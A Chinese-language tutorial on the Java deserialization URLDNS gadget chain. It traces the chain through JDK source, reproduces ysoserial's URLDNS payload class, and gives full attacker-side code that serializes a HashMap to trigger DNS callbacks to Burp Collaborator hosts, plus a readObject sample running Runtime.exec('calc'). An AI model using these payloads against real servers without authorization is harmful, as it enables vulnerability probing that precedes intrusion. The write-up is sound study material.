'Java反序列化-URLDNS'

一、反序列化的想法

readObject中的代码会自动执行,给予攻击者在服务器上运行代码的能力。

  • 1、直接通过入口类的readObject直接调用危险方法。

  • 2、入口类参数包含可控类,该类有危险方法。

  • 3、继续套娃,入口类包含可控类,该类有调用其他有危险方法的类,readObject时调用。

pojo类中添加代码:

1
2
3
4
private void readObject(ObjectInputStream ois) throws IOException, ClassNotFoundException {
ois.defaultReadObject();
Runtime.getRuntime().exec("calc");
}

流程:正常进行序列化与反序列化,调用readObject,ObjectInputStream输入流,读取defaultReadObject对象。执行calc命令。

当然了,以上为 最理想的情况

二、前言

URLDNS是Java反序列化中比较简单的一个链,由于URLDNS不需要依赖第三方的包,同时不限制jdk的版本,所以通常用于检测反序列化的点。

URLDNS并不能执行命令,只能发送DNS请求。

简单来说此条链子:dnslog请求去验证目标是否存在该漏洞。

  • 只依赖原生类
  • 不限制jdk版本

三、利用链

测试环境:jdk 8u271

首先简单测试一下这个代码。
在基础篇的SerializeDemo类中,psvm中添加如下代码

1
2
3
HashMap<URL, Integer> hashmap = new HashMap<>();
URL url = new URL("http://xqrmtfhw1o6v94ow5guuscd68xen2c.burpcollaborator.net");
hashmap.put(url,1);

代码解释:

1、HashMap 是一个散列表,它存储的内容是键值对(key-value)映射。
2、首先,第一行代码,创建 HashMap 对象 Sites,设置key为URL,value为Integer。
3、hashmap.put 用于添加键值对
4、然后,看第二行代码,new URL,很普通,实例化url地址,来获取资源。

最终调试脑图(流程图)

调试分析:

问题存在于HashMap的readObject方法,我们直接来看这个方法

HashMap#readObject

省略一大堆不重要的代码,直接定位到下一个调用点的代码如下:

1
2
3
4
5
6
7
8
9
10
11
12
else if (mappings > 0) { // (if zero, use defaults)
// Size the table using given load factor only if within
//......................................................................

// Read the keys and values, and put the mappings in the HashMap
for (int i = 0; i < mappings; i++) {
@SuppressWarnings("unchecked")
K key = (K) s.readObject();
@SuppressWarnings("unchecked")
V value = (V) s.readObject();
putVal(hash(key), key, value, false, false);
}

此处判断Map的大小,如果>0则进入一个for循环,在这个循环中,会遍历并readObject反序列化Map的key和value,然后调用putVal函数,其中key值又传入了hash函数。

HashMap#hash

跟进HashMap中的hash函数,代码如下:

1
2
3
4
static final int hash(Object key) {
int h;
return (key == null) ? 0 : (h = key.hashCode()) ^ (h >>> 16);
}

判断key值是否为空,为空返回0,如果不为空,则又会对key进行一个hashCode函数的处理。
我们在示例中写到key其实为URL类,所以下一步跟进URL类的hashCode函数。

1
2
3
4
5
6
7
public synchronized int hashCode() {
if (hashCode != -1)
return hashCode;

hashCode = handler.hashCode(this);
return hashCode;
}

hashCode默认值就是-1,所以会接着调用handler.hashCode(this)。
继续跟进hashCode(this)的hashCode。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
protected int hashCode(URL u) {
int h = 0;

// Generate the protocol part.
String protocol = u.getProtocol();
if (protocol != null)
h += protocol.hashCode();

// Generate the host part.
InetAddress addr = getHostAddress(u);
if (addr != null) {
h += addr.hashCode();
} else {
String host = u.getHost();
if (host != null)
h += host.toLowerCase().hashCode();
}

// Generate the file part.
String file = u.getFile();
if (file != null)
h += file.hashCode();

// Generate the port part.
if (u.getPort() == -1)
h += getDefaultPort();
else
h += u.getPort();

// Generate the ref part.
String ref = u.getRef();
if (ref != null)
h += ref.hashCode();

return h;
}

继续跟进getHostAddress。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
protected synchronized InetAddress getHostAddress(URL u) {
if (u.hostAddress != null)
return u.hostAddress;

String host = u.getHost();
if (host == null || host.equals("")) {
return null;
} else {
try {
u.hostAddress = InetAddress.getByName(host);
} catch (UnknownHostException ex) {
return null;
} catch (SecurityException se) {
return null;
}
}
return u.hostAddress;
}

会在此处对URL进行DNS查询。

所以最终利用链如下:

1
2
3
4
5
HashMap-->readObject
HashMap-->putval-->hash
URL-->hashcode
URLStreamHandler-->hashcode
URLStreamHandler-->getHostAddress

但是发现在hashmap利用put存入数据的时候也会调用putVal函数

1
2
3
public V put(K key, V value) {
return putVal(hash(key), key, value, false, true);
}

所以在生成payload的过程中(即 序列化过程中)就会发起一次DNS请求,那么我们最好规避一下,防止这次DNS请求的发起

URL类中的hashCode有一个判断,如果hashCode不等于 -1 那么就直接进行返回了

所以我们可以利用反射来修改URL中的hashCode这个参数,在调用put方法前修改hashCode为别的数值,在调用put方法之后再将hashCode修改回来即可

这时,就会只在反序列化过程中进行dns查询了,以防误判。

代码如下:

1
2
3
4
5
6
7
8
9
HashMap<URL, Integer> hashmap = new HashMap<URL, Integer>();
URL url = new URL("http://zps2lv8xfs4c9yd03ur7d0jey54vsk.burpcollaborator.net");
Class c1 = url.getClass();
Field hashCodefield = c1.getDeclaredField("hashCode");
hashCodefield.setAccessible(true);
hashCodefield.set(url,1234);
hashmap.put(url,23333);
hashCodefield.set(url,-1);
serialize(hashmap);

四、ysoserial中的实现(简称yso)

yso中并没有采用我们上面说到的利用反射修改属性的方法

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
package ysoserial.payloads;

import java.io.IOException;
import java.net.InetAddress;
import java.net.URLConnection;
import java.net.URLStreamHandler;
import java.util.HashMap;
import java.net.URL;

import ysoserial.payloads.annotation.Authors;
import ysoserial.payloads.annotation.Dependencies;
import ysoserial.payloads.annotation.PayloadTest;
import ysoserial.payloads.util.PayloadRunner;
import ysoserial.payloads.util.Reflections;


/**
* A blog post with more details about this gadget chain is at the url below:
* https://blog.paranoidsoftware.com/triggering-a-dns-lookup-using-java-deserialization/
*
* This was inspired by Philippe Arteau @h3xstream, who wrote a blog
* posting describing how he modified the Java Commons Collections gadget
* in ysoserial to open a URL. This takes the same idea, but eliminates
* the dependency on Commons Collections and does a DNS lookup with just
* standard JDK classes.
*
* The Java URL class has an interesting property on its equals and
* hashCode methods. The URL class will, as a side effect, do a DNS lookup
* during a comparison (either equals or hashCode).
*
* As part of deserialization, HashMap calls hashCode on each key that it
* deserializes, so using a Java URL object as a serialized key allows
* it to trigger a DNS lookup.
*
* Gadget Chain:
* HashMap.readObject()
* HashMap.putVal()
* HashMap.hash()
* URL.hashCode()
*
*
*/
@SuppressWarnings({ "rawtypes", "unchecked" })
@PayloadTest(skip = "true")
@Dependencies()
@Authors({ Authors.GEBL })
public class URLDNS implements ObjectPayload<Object> {

public Object getObject(final String url) throws Exception {

//Avoid DNS resolution during payload creation
//Since the field <code>java.net.URL.handler</code> is transient, it will not be part of the serialized payload.
URLStreamHandler handler = new SilentURLStreamHandler();

HashMap ht = new HashMap(); // HashMap that will contain the URL
URL u = new URL(null, url, handler); // URL to use as the Key
ht.put(u, url); //The value can be anything that is Serializable, URL as the key is what triggers the DNS lookup.

Reflections.setFieldValue(u, "hashCode", -1); // During the put above, the URL's hashCode is calculated and cached. This resets that so the next time hashCode is called a DNS lookup will be triggered.

return ht;
}

public static void main(final String[] args) throws Exception {
PayloadRunner.run(URLDNS.class, args);
}

/**
* <p>This instance of URLStreamHandler is used to avoid any DNS resolution while creating the URL instance.
* DNS resolution is used for vulnerability detection. It is important not to probe the given URL prior
* using the serialized object.</p>
*
* <b>Potential false negative:</b>
* <p>If the DNS name is resolved first from the tester computer, the targeted server might get a cache hit on the
* second resolution.</p>
*/
static class SilentURLStreamHandler extends URLStreamHandler {

protected URLConnection openConnection(URL u) throws IOException {
return null;
}

protected synchronized InetAddress getHostAddress(URL u) {
return null;
}
}
}

yso通过创建SilentURLStreamHandler子类,当在创建payload的过程中,继承URLStreamHandler调用其中的getHostAddress方法,使得在put过程中遇到了getHostAddress方法直接调用子类的这个方法返回null,从而不触发DNS请求

而重写openConnection原因则更为简单,因为URLStreamHandler是一个抽象类,所以必须重写其所有的抽象方法,这里的openConnection便是其中的抽象类。

后面反序列化的触发,yso中写了注释:

//Since the field java.net.URL.handler is transient, it will not be part of the serialized payload.

由于java.net.URL.handler类 为 transient,用transient关键字标记的成员变量不参与序列化过程(这块不理解的话,重温java基础),所以序列化过程中并不会带上handler。

而反序列化payload过程中则会触发。

但是,这里真的触发了吗?
hashCode是URL类中成员变量,意味着一旦经过了重新赋值则值永远改变

当我们在调用put时,因为hashCode的默认值是-1,所以会调用handler.hashCode,这时虽然我们重写了getHostAddress,使其不能成功进行DNS请求,但是最后URLStreamHandler#hashCode返回的值也不再是-1,这就表示,在下次反序列化的时候,是不能够成功执行到handler.hashCode而是直接return hashCode。

如果hashCode是public,我们似乎可以直接重置,但是这里是private,yso是如何解决的?

1
2
3
Reflections.setFieldValue(u, "hashCode", -1); 
// During the put above, the URL's hashCode is calculated and cached.
// This resets that so the next time hashCode is called a DNS lookup will be triggered.

我们追踪Reflections类,这是yso作者自己写的类。主要调用了以下这两段代码。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
public static Field getField(final Class<?> clazz, final String fieldName) {
Field field = null;
try {
field = clazz.getDeclaredField(fieldName);
setAccessible(field);
}
catch (NoSuchFieldException ex) {
if (clazz.getSuperclass() != null)
field = getField(clazz.getSuperclass(), fieldName);
}
return field;
}

public static void setFieldValue(final Object obj, final String fieldName, final Object value) throws Exception {
final Field field = getField(obj.getClass(), fieldName);
field.set(obj, value);
}

通过反射调用getDeclaredField(不懂就回去看基础篇)获取到该变量,然后用setAccessible函数开权限(private),最后还是用set反射修改。

这里的setAccessible是自己封装的函数,会根据Java的版本,来使用Permit还是直接setAccessible(true)。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
public static void setAccessible(AccessibleObject member) {
String versionStr = System.getProperty("java.version");
int javaVersion = Integer.parseInt(versionStr.split("\\.")[0]);
if (javaVersion < 12) {
// quiet runtime warnings from JDK9+
Permit.setAccessible(member);
} else {
// not possible to quiet runtime warnings anymore...
// see https://bugs.openjdk.java.net/browse/JDK-8210522
// to understand impact on Permit (i.e. it does not work
// anymore with Java >= 12)
member.setAccessible(true);
}
}

最后代码:
序列化(攻击端)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
package demo20;

import java.io.FileOutputStream;
import java.io.IOException;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.net.InetAddress;
import java.net.URL;
import java.net.URLConnection;
import java.net.URLStreamHandler;
import java.util.HashMap;

public class SerializeDemo {
public static void serialize(Object obj) throws IOException {
ObjectOutputStream out_obj1 = new ObjectOutputStream(new FileOutputStream("./2.ser"));
out_obj1.writeObject(obj);
out_obj1.close();
// System.out.println(obj);
}

public static void main(String[] args) throws IOException, NoSuchFieldException, IllegalAccessException {
//dnslog地址
String dnsPaltform = "http://geyu87r7hi4h6zb8h5leulnyvp1fp4.burpcollaborator.net";
MyHandler myHandler = new MyHandler();
HashMap<URL, Integer> hashmap = new HashMap<URL, Integer>();
URL dnslog = new URL(null,dnsPaltform,myHandler);
hashmap.put(dnslog,23333);

Class c1 = dnslog.getClass();
Field hashCodefield = c1.getDeclaredField("hashCode");
hashCodefield.setAccessible(true);
hashCodefield.set(dnslog,-1);

serialize(hashmap);

}

static class MyHandler extends URLStreamHandler{
//重写getHostAddress的抽象类,openConnection即可
@Override
protected URLConnection openConnection(URL u) throws IOException {
return null;
}

protected synchronized InetAddress getHostAddress(URL u) {
return null;
}

}

}

反序列化(被攻击端)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
package demo20;

import java.io.FileInputStream;
import java.io.IOException;
import java.io.ObjectInputStream;

public class UnSerializeDemo {
public static Object unserialization(String Filename) throws IOException, ClassNotFoundException {
ObjectInputStream obj2 = new ObjectInputStream(new FileInputStream(Filename));
Object ois = obj2.readObject();
return ois;
}

public static void main(String[] args) throws IOException, ClassNotFoundException {
unserialization("./2.ser");


}
}